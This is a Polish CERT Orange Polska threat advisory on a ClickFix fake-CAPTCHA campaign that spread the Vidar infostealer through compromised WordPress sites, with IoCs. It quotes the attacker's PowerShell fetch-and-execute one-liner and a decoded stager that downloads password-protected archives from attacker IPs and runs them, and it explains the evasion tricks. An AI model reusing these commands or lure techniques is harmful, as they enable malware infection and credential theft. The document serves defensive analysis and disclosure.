hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Zainfekuj się sam – kampania ClickFix

ClickFix to socjotechniczna metoda, mająca nakłonić ofiarę do samodzielnego uruchomienia poleceń na własnej stacji. Tego typu kampanie przybierają na popularności, a ich skutki możemy odczuć również lokalnie, w Polsce.

ClickFix opisywaliśmy kilkukrotnie w ramach naszego Krajobrazu Zagrożeń, a scenariusze wykorzystania tej techniki za każdym razem były inne. Wykorzystanie tej techniki ma przekonać ofiarę do samodzielnego uruchomienia przede wszystkim Powershella. W efekcie, często przy użyciu wieloetapowego łańcucha infekcji, do użytkownika dostarczane jest złośliwe oprogramowanie. Jego głównym celem jest eksfiltracja danych ze stacji ofiary i przejęcie nad nim kontroli. Stąd w końcowym etapie możemy mieć do czynienia ze stealerami: Vidar, Lumma, DanaBot czy RATami: QuasarRAT, XWorm RAT, VenomRAT, SectopRAT.

Od ClickFix do Vidara

W poniższej kampanii mamy do czynienia z wariantem ClickFix, który dostarcza infostealera Vidar. Elementami wyróżniającymi jest wygląd instrukcji ClickFixa (w graficzny sposób instruuje użytkownika do wykonania poleceń) jak i sama obecność kilku etapów infekcji, dostarczającej wiele plików z szerokiej infrastruktury atakującego.

Rys. 1. Łańcuch infekcji w kampanii.

Łańcuch infekcji możemy opisać w następujący sposób:

1. Do schowka użytkownika automatycznie kopiowane jest polecenie PowerShell po kliknięciu w kontener CAPTCHA na zainfekowanej stronie ClickFixem.
2. Użytkownik korzystając z instrukcji na stronie wkleja polecenie do Uruchom systemu Windows.
3. Polecenie pobiera ze strony was-logistics[.]com skrypt wp.ps1 i wykonuje go.
4. Skrypt jest enkodowany w base64 z UTF-16LE i zawiera w sobie dwa kolejne polecenia PowerShell enkodowane tak samo.
5. Finalnie skrypt pobiera dwa pliki ze strony hxxp://195.10.205[.]75; yrp5.rar oraz UnRAR.exe i zapisuje je w katalogu TEMP użytkownika.
6. Plik UnRAR.exe jest prawdziwym narzędziem od WinRARa i służy do wypakowania pobranego archiwum – jest uruchamiany z parametrem hasła.
7. Archiwum yrp5.rar jest rozpakowywane w folderze TEMP, proces jest zamrażany na 4 sekundy.
8. Archiwum zawiera plik yrp5.txt, który jest wykonywany jako polecenie PowerShell w obrębie poprzedniego procesu (akcja nr. 9 na rysunku).
9. W pliku yrp5.txt zawieraja się kilka poleceń PowerShella, których celem jest: ukrycie wszystkich okna PowerShella i terminala Windowsa, a następnie pobranie ze strony hxxp://5.252.153[.]72 pliku UnRAR.exe i reacter.rar i zapisanie ich do katalogu TEMP.
10. W pliku yrp5.txt znajduje się także polecenie rozpakowania pliku reacter.rar za pomocą UnRAR.exe, tak samo jak w punkcie nr 6 i 7.
11. Powyższe polecenia są wydzielane do pliku yrp5ne.txt i z niego tworzony jest kolejny skrypt yrp5ne.ps1 zapisany w folderze TEMP.
12. Ostatecznie, skrypt yrp5ne.ps1 wykonuje pobranie UnRAR.exe, reacter.rar (akcja nr. 11) wypakowuje archiwum (akcja nr. 12 i 13).
13. Plik z archiwum, build.exe jest wykonywany również w skrypcie yrp5ne.ps1 – na stację zakończono dostarczenie i uruchomienie Vidar Stealera (akcja nr. 14).

Skąd wzięła się infekcja?

Atakujący zidentyfikował strony internetowe, na których istniała możliwość umieszczenia własnej zawartości HTML – najczęściej były to serwisy oparte na WordPressie. W ramach tej aktywności umieścił spreparowaną podstronę o nazwie wp-assets-optimizer.html. Pierwsze przypadki jej zaobserwowania datowane są na 20 czerwca 2025, godz. 18:00 UTC. W kolejnych etapach rozpoczął kampanię, której celem było przekierowywanie potencjalnych ofiar na tę właśnie stronę.

Wykorzystanie zewnętrznych legalnie funkcjonujących serwisów pozwala atakującemu ominąć mechanizmy detekcji oparte na wieku i reputacji domen. Technika ta zmniejsza prawdopodobieństwo wykrycia przez silniki bezpieczeństwa. Dodatkowo serwisy te często działają w zaufanych i wiarygodnych gałęziach TLD (takich jak .com, .org czy .pl), co zwiększa skuteczność socjotechniki i dodatkowo utrudnia wykrycie kampanii.

Podstrona wp-assets-optimizer.html zawiera w skrypt JS, który realizuje interaktywny interfejs użytkownika. Pozornie pełni funkcję weryfikacji typu CAPTCHA, jednak jego rzeczywistym celem jest zainicjowanie złośliwej aktywności przy użyciu socjotechniki. Po załadowaniu strony uruchamiany jest preloader, który dynamicznie ładuje zestaw obrazów (m.in. logo Cloudflare i kilka grafik instruktażowych), z postępem ładowania prezentowanym w formie paska. Po zakończeniu ładowania następuje inicjalizacja głównych komponentów interfejsu – sekcji weryfikacyjnej z dynamicznie generowanym adresem IP i identyfikatorem CAPTCHA, elementami graficznymi imitującymi checkbox, paskiem postępu oraz komunikatami statusowymi.

Rys. 2. CAPTCHA na zainfekowanej stronie

Rys. 3. CAPTCHA na zainfekowanej stronie

Kluczowym elementem o charakterze złośliwym jest funkcja copyToClipboard, która po kliknięciu w kontener CAPTCHA automatycznie kopiuje do schowka polecenie PowerShell:

powershell -c "&(gcM *wr) -uri was-logistics.com/wp.ps1|&(gcm i*x)"

To skrócona, lekko ukryta forma polecenia wykorzystującego Get-Command oraz Invoke-WebRequest, Invoke-Expression (lub ich aliasy gcm oraz iwr, iex) do pobrania i wykonania zdalnego skryptu PowerShell z domeny was-logistics.com. Operacja ta stanowi klasyczny przykład Remote Code Execution via clipboard hijacking, gdzie użytkownik nieświadomie zostaje nakłoniony do wklejenia i wykonania polecenia, prowadzącego do infekcji systemu. Tego typu technika jest trudniejsza do automatycznego wykrycia, ponieważ skrypt sam nie uruchamia złośliwego kodu – przekazuje go jedynie do schowka, pozostawiając wykonanie po stronie użytkownika.

Rys. 4. Kluczowy kod JS wykonujący ClickFix

Dalsze komponenty skryptu, jak podpowiedzi z pomocą klawiaturową (keyboard help), funkcja rotacji grafik, odliczanie czasu ważności CAPTCHA ID oraz efektowne animacje stanu weryfikacji (pasek postępu, ikony sukcesu/porażki) mają na celu uwiarygodnienie interfejsu i zwiększenie skuteczności ataku poprzez elementy perswazyjne. Modal otwierający się automatycznie po 23 sekundach oraz animowana sekwencja obrazów, kończąca się odświeżeniem strony po trzech cyklach, pełnią funkcję psychologicznego nacisku czasowego. Ma on skłonić ofiarę do podjęcia szybkiego działania – czyli wklejenia skopiowanego polecenia.

Rys. 5. Podpowiedzi z pomocą klawiaturową: krok 1

Rys. 6. Podpowiedzi z pomocą klawiaturową: krok 2

Rys. 7. Podpowiedzi z pomocą klawiaturową: krok 3

Całość jest zbudowana w sposób modularny, z obsługą błędów ładowania obrazów, zarządzaniem widocznością elementów interfejsu i imitacją aktywności backendowej, mimo braku rzeczywistego połączenia z żadnym serwerem weryfikacyjnym. Skrypt nie wykonuje żadnych natywnych exploitów w przeglądarce, ale działa w modelu user-assisted execution, który opiera się na zmanipulowaniu użytkownika do uruchomienia wcześniej spreparowanego payloadu. Domena użyta jako źródło skryptu PowerShell (was-logistics[.]com) jest kluczowym wskaźnikiem kompromitacji (IoC).

Z technicznego punktu widzenia skrypt stanowi przykład ukierunkowanego ataku socjotechnicznego wykorzystującego HTML5, DOM API i Clipboard API do uzyskania pierwszego punktu zaczepienia w łańcuchu infekcji. Dalsze fazy ataku (payload, C2) są ukryte poza skryptem i realizowane przez pobierany zdalnie plik wp.ps1.

Dostarczenie złośliwego oprogramowania

Zdalne pobranie i uruchomienie pliku wp.ps1 rozpoczyna łańcuch infekcji.

Rys. 8. Zakodowany skrypt ws1.ps

Skrypt jest zakodowany w base64 i UTF16LE, po jego zdekodowaniu otrzymujemy kolejne wywołanie procesu PowerShella z zakodowanym w ten sam sposób poleceniem.

Rys. 9. Zakodowany skrypt w ws1.ps

Po dekodowaniu, otrzymujemy kolejne zakodowane polecenie wywołania PowerShella:

Rys. 10. Zakodowany skrypt w zakodowanym skrypcie w ws1.ps

Ostatecznie dekodujemy skrypt i otrzymujemy polecenia PowerShella:

Invoke-WebRequest `
  -Uri "hxxp://195.10.205[.]75/uploads/yrp5.rar" `
  -OutFile "$env:TEMP\yrp5.rar"
Invoke-WebRequest `
  -Uri "hxxp://195.10.205[.]75/UnRAR.exe" `
  -OutFile "$env:TEMP\UnRAR.exe"
Start-Process `
  -NoNewWindow `
  -FilePath "$env:TEMP\UnRAR.exe" `
  -ArgumentList `
    "x", `
    "-p7ZyEep6jH33t", `
    "-o+", `
    "$env:TEMP\yrp5.rar", `
    "$env:TEMP"
Start-Sleep -Seconds 4
Get-Content "$env:TEMP\yrp5.txt" | Invoke-Expression

Powyższy skrypt za pomocą Invoke-WebRequest pobiera plik yrp5.rar oraz UnRAR.exe z serwera atakującego: 195.10.205[.]75. Oba pliki zapisywane są w folderze TEMP użytkownika, jako typowa lokalizacja dla stagerów – stąd uruchamiany jest program UnRAR.exe bez wyświetlanego okna. Za jego pomocą ekstraktowany jest zaszyfrowany hasłem 7ZyEep6jH33t plik yrp5.txt z archiwum. Przed uruchomieniem pliku yrp5.txt jako kodu PowerShella, proces usypiany jest na 4 sekundy, aby ukończyć rozpakowywanie archiwum .rar.

Plik yrp5.txt zawiera w sobie dwie zakodowane zmienne $kls oraz $ol, które zawierają w sobie kolejne polecenia PowerShella.

Rys. 11. Zawartość yrp5.txt

Zmienna $kls jest dekodowana i przypisywana do $ofp, a następnie wykonywana za pomocą iex (Invoke-Expression). Zawartość $ofp jest następująca:

Rys. 12. Zdekodowana zawartość $ofp

W wartości zmiennej $ofp możemy zauważyć definicję pomocniczej klasy WinHelp10. Jej głównym celem jest wywołanie funkcji API Windowsa ShowWindow z user32.dll i wywołanie jej na przekazanym procesie – całość zdefiniowana jest w funkcji SwMng. Przyjmuje ona ID procesu wraz z argumentem, który odpowiada za pokazywanie się okna procesu (np.: minimalizacja, maksymalizacja, ukrycie okna). Na końcu skryptu widzimy enumerację procesów PowerShella i Windows Terminala za pomocą Get-Process, a następnie wywołanie na nich kolejno zdefiniowanej funckji SwMng z wartością 0. Dzięki temu każde uruchomione okno wymienionych procesów zostanie ukryte.

Po wykonaniu $ofp, definiowana jest kolejna zmienna, $ol:

Rys. 13. Zdekodowana zawartość $ol

Polecenia te, podobnie jak w przypadku wymienionego wcześniej skryptu, pobierają pliki UnRAR.exe oraz reacter.rar do TEMP i rozpakowują archiwum z hasłem 6o9Rsrfr6UFN4vDQ. Ostatecznie, z TEMP uruchamiany jest wyekstraktowany plik build.exe, będący Vidar Stealerem. Należy wspomnieć, że w obu przypadkach UnRAR.exe był faktycznym narzędziem WinRARa, zgodnym co do hasha, do rozpakowywania archiwów. Dostarczenie go na stację zapewniało, że pobrane archiwa zostaną rozpakowane mimo np.: braku narzędzia u użytkownika.

Rys. 14. Ostatnie linijki pliku yrp5.txt

Zanim jednak to nastąpi, $ol jest dekodowane i umieszczane w pliku yrp5ne.txt w folderze TEMP. Zawartość pliku tekstowego jest kopiowana do pliku yrp5ne.ps1. Za pomocą cmd.exe uruchamiany jest PowerShella z flagą ExecutionPolicy Bypass; przekazywany jest plik yrp5ne.ps1, w wyniku którego uruchamiane są poprzednio opisane polecenia z $ol.

Pakowanie złośliwego kodu w archiwach zabezpieczonych hasłem stanowi skuteczną metodę omijania mechanizmów detekcji. Takie zabezpieczenie uniemożliwia systemom antywirusowym — zarówno na stacjach końcowych, jak i w rozwiązaniach sieciowych — automatyczną analizę zawartości archiwum. Hasło potrzebne do rozpakowania pliku jest przekazywane dynamicznie, zwykle za pomocą polecenia PowerShell, co dodatkowo utrudnia wykrycie zagrożenia na wcześniejszych etapach ataku.

Vidar Stealer

Po analizie można było ustalić, iż komunikuje się on z kanałem na Telegramie, natomiast z profilu Steam pobiera adres IP do swojego serwera Command&Control (C2).

Analizowany plik w swoich metadanych podszywał się pod narzędzie firmy Exodus Movement, Inc. Jest to amerykańska firma technologiczna działająca od 2015 r., która stworzyła Exodus Wallet – wieloassetowy, bezpośredni portfel kryptowalutowy, działający na desktopie, urządzeniach mobilnych oraz w przeglądarce. Firma jest notowana na nowojorskiej giełdzie od 18 grudnia 2024. Obecnie uznana jest za renomowanego dostawcę oprogramowania portfela, umożliwiającego bezpieczne przechowywanie, wymianę i zakup kryptowalut. Dzięki rozbudowanemu ekosystemowi (swap, staking, NFT, on‑ramps, Passkeys), firma stawia na self-custody, prostotę obsługi i integracje z dużymi partnerami jak Ledger czy Blockchain.com.

Rys. 15. Metadane bliku build.exe.

Plik ten pojawił się w atakach 2025-06-22 21:58:34 UTC (znacznik czasowy pierwszej identyfikacji w portalu Virustotal). Jednak sama wersje Vidara była przygotowana wcześniej – podpis elektroniczny 2025-04-18 15:55:00 UTC. Podpis nie jest poprawny, niemniej sama jego obecność poprzez “doklejenie” potrafi oszukać niektóre silniki antywirusowe.

Rys. 16. Kanał Telegrama, z którym łączy się Vidar.

Rys. 17. Profil Steam, z którego pobierany jest adres C2 serwera.

Vidar Stealer pozostaje aktywnym i rozwijającym się infostealerem działającym w modelu Malware‑as‑a‑Service (MaaS). Jego dystrybucja, technologia i mechanizmy unikania wykrycia ewoluują od czasu. gdy powstał w 2018 roku. Obecnie ceny za licencję wahają się od ok. 250 USD (wersja podstawowa) do 700 USD (wersja PRO) i obejmują dostęp do panelu zarządzania, gdzie operatorzy mogą konfigurować moduły i serwery C2.

W najnowszym Vidar Stealerze zidentyfikowano liczne funkcjonalności:

  • kradzież haseł, ciasteczek i danych formularzy z przeglądarek
  • pozyskiwanie danych uwierzytelniających do portfeli kryptowalut (np. BraveWallet, MetaMask i innych rozszerzeń) poprzez analizę JSONów i plików wallet.dat
  • eksfiltracja tokenów sesyjnych z aplikacji takich jak Steam, Telegram, Discord
  • grabber plików z dysków lokalnych i wymiennych, np. dokumentów, %APPDATA%, ProgramData
  • opcja samoniszczącego się loadera („non-resident loader”), oraz wariantu tworzącego persystencję („resident loader”) przez wpisy w Rejestrze lub folderze autostartu

Komunikacja z C2 odbywa się przez HTTP/HTTPS, często z użyciem pośredników takich jak Mastodon, Telegram czy Steam, wstawiających adresy serwerów w opisach profili (technika tzw. „social media C2 resolver”). Dane są pakowane do formatu RAR (lub ZIP), kodowane Base64 i wysyłane w żądaniach POST razem z metadanymi konfiguracji C2.

Można stwierdzić, że Vidar Stealer w 2025 roku nie tylko pozostaje aktywny, ale ewoluuje. Wzbogaca scenariusze infekcji, stosuje techniki kamuflażu binariów i zaawansowane metody unikania wykrycia. Szczególną uwagę należy zwrócić na nowsze podejście, takie jak Steam, czy malware‑masked narzędzia oraz pakowane instalatory omijające sandboxy.

Obserwowana kampania pokazuje, że operatorzy Vidar Stealera sięgają po najnowsze trendy i do dystrybucji wykorzystują opisaną technikę ClickFix. W przypadku Vidara ClickFix jest stosowany głównie w scenariuszach malvertisingowych i fałszywych aktualizacji. Atakujący, wykorzystując słabości w innych serwisach WWW, wstrzyknęli swoją stronę udającą weryfikację CAPTCHA w wiele legalnych stron. Następnie przekierowywali potencjalne ofiary na te strony, gdzie licząc na ich determinację i wykonanie poleceń rozpoczynali infekcję.

IoC

Przejęte serwisy:
www.banita.travel[.]pl/wp-assets-optimizer.html
www.talantainvestments[.]com/wp-assets-optimizer.html          
haagcommunications[.]com/wp-assets-optimizer.html                   
www.drewtrans[.]pl/wp-assets-optimizer.html
gem.snhu[.]edu/wp-assets-optimizer.html            
www.rocketcitymom[.]com/wp-assets-optimizer.html                     
www.mbu[.]edu/wp-assets-optimizer.html               
motorweek[.]org/wp-assets-optimizer.html                        
schoolsmakemadison[.]org/wp-assets-optimizer.html                   
breakthrough3x[.]com/wp-assets-optimizer.html             
mobileecosystemforum[.]com/wp-assets-optimizer.html              
zenstudios[.]com/wp-assets-optimizer.html                      
www.livingearth[.]net/wp-assets-optimizer.html           
www.perkinseastman[.]com/wp-assets-optimizer.html

Domeny
was-logistics[.]com

IP
195.10.205[.]75
5.252.153[.]72
116.202.176[.]52 (Vidar C2)


URL
hxxps://t[.]me/l07tp
hxxps://f3.xo.mastermaths.com[.]sg
hxxps://b2.xs.mastermaths.com[.]sg
hxxps://steamcommunity[.]com/profiles/76561199869630181


Pliki
wp.ps1
03286fa30d368dd9808703a4b289cf66195944420fdbb2cdf9a4d82b23743c75

yrp5.rar
9275a847d7e5cf2e9b1d7e0a6eb5b9be042a51ce9af4c3d290d8575dc2f11c73

yrp5.txt
d01ba1a71d3a7d5eb4844a3b15089b2954cf10fefd6c7c93ba452bb6f38007a4

reacter.rar
bebe595ef029c7a6ac9c846eb4ac7aa348ea244d7e984f50b87d0a17b0af5224

build.exe (Vidar Stealer)
48835e009c8550b6681ae37d7b55d8e81aca78bbb3685acd02820cc85a5fb875

Vidar Botnet: bfe4251bf4f41a63c183f3cf7858790c 

Współpraca Ireneusz Tarnowski


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także

Komunikat dotyczący plików cookies

Ta witryna używa plików cookies (małych plików tekstowych, przechowywanych na Twoim urządzeniu). Są one stosowane dla zapewnienia prawidłowego działania strony oraz do zbierania informacji o Twoich preferencjach i nawykach użytkowania witryny.

Pliki cookies niezbędne do działania strony używamy do zapewnienia podstawowych funkcji, takich jak logowanie oraz zapewnienie bezpieczeństwa witrynie. Ich wykorzystanie nie wymaga Twojej zgody.

Pliki cookies funkcyjne. Pozwalają nam zbierać informacje na temat zalogowanych sesji oraz przechowywać dane wpisane przez Ciebie w formularzach znajdujących się na stronie takich jak: czas trwania zalogowanej sesji , nazwę użytkownika.

Pozostałe kategorie wykorzystywania plików cookies, które wymagają Twojej zgody na używanie

Pliki cookies statystyczne/analityczne. Pozwalają nam zbierać anonimowe informacje o ruchu na stronie (liczba odwiedzin, źródło ruchu i czas spędzony na witrynie). Te dane pomagają nam zrozumieć, jak nasi użytkownicy korzystają z witryny i poprawiają jej działanie.

Możesz zmienić swoje preferencje dotyczące plików cookies w każdej chwili. W celu zarządzania plikami cookies lub wycofania zgody na ich używanie, prosimy skorzystać z ustawień przeglądarki internetowej.